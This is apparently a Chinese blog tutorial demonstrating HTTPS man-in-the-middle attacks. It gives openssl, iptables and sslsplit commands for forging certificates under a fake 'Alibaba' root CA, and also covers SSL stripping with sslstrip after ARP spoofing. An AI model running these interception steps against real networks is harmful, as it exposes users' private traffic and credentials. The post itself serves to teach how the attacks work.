【安全系列】https中间人攻击


前言

刚了解了https是如何加密传输,但是https却又不是那么得完美,中间人还是通过各种手段来获取目标信息。废话不多说,开始演示。


一、证书伪造攻击

1.实现思路

在这里插入图片描述
中间人在服务器和浏览器中间。面向服务器时,他伪装成一个浏览器客户端,面向浏览器时,他伪装成一个服务器。主要实现步骤如下:

  1. 中间人想办法对浏览器到服务器的数据进行拦截,通过arp欺骗或者dns欺骗等等,方式有很多,需要按照自己的场景进行处理。
  2. 服务器收到https请求时,会下发证书,这个证书是可以得CA认证的,中间人同样可以从证书中获取服务器的公钥。
  3. 中间人创建一个根证书,通过这个根证书对服务器下发的证书继续伪造,伪造成功后下发给客户端。
  4. 浏览器收到一个假的证书,不会通过证书检测,会报一个网上不是安全的,是否继续等等的异常信息,异常信息如下。这个时候如果用户就是想要访问的话,之后所有和该服务器交互的信息都会被中间人获取。
    在这里插入图片描述
    基本每个https的网站都会有这种异常信息,证书伪造会使得用户有感知,如果是知道这种攻击方式的人,就会对攻击的效果有影响。这种异常信息也是可以去除的,就是使得用户浏览器安装中间人创建的根证书,使得中间人颁发的证书得到信任即可,在开发的过程中,经常使用fiddler来抓取https的包,原理就是使用了证书伪造。

2.实施攻击

2.1.生成私钥
openssl genrsa -out ca.key 2048
2048表示私钥的长度
2.2.通过私钥生成证书

kali@kali:~$ openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
#国家名称
Country Name (2 letter code) [AU]:CN   
#省份
State or Province Name (full name) [Some-State]:zhejiang
#城市
Locality Name (eg, city) []:Hangzhou
#公司名称
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Alibaba
Organizational Unit Name (eg, section) []:ali
Common Name (e.g. server FQDN or YOUR name) []:alibaba

在根证书生成的时候,需要填写一些信息达到仿真的效果,这个按照自己的想法,尽可能高仿就可以了,没什么大的用处,就是用来看着像真的证书颁发者就可以了。
2.3开启路由转发
sysctl -w net.ipv4.ip_forward=1
用户到达kali的流量需要转发出去,所以开起路由转发。
2.4端口转发
80端口转发到8080
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
443 端口转发到8443
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443
2.5实施监听
sudo sslsplit -D -l connect.log -j https/ -S https/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
在执行之前需要在当前目录下创建https目录和https/logdir目录

  1. -D debug模式,显示较多的日志信息
  2. -l 连接请求的信息记录到connec.log中
  3. -j root根目录(简单理解就好)
  4. -S 日志目录
  5. -k 指定私钥
  6. -c 指定证书

二、协议转换攻击

1.实现思路

在这里插入图片描述

在平时访问百度的时候,即使使用http访问百度的时候,百度也会重定向到https,通过这一个思路,翻转一下,用户如果使用https访问服务器的时候,返回重定向信息,使得浏览器使用http协议到中间人,中间人收到浏览器请求的时候,代理浏览器和服务器进行交互。
这种思路没有了证书的验证,也没有了浏览器异常的抛出,相对于用户是无感知的,更容易达到攻击的效果。

2.实施攻击

通过sslstrip进行攻击,下载地址:https://github.com/moxie0/sslstrip

下载之后通过github中教程进行安装,通过python sslstrip.py -l 8080 启动。
之后可以通过arp欺骗等等,进行信息拦截。

每天学一点,进去早一点,大家切勿做坏事。

系列文章目录

【安全系列】wireshark解析https

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

叁滴水

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值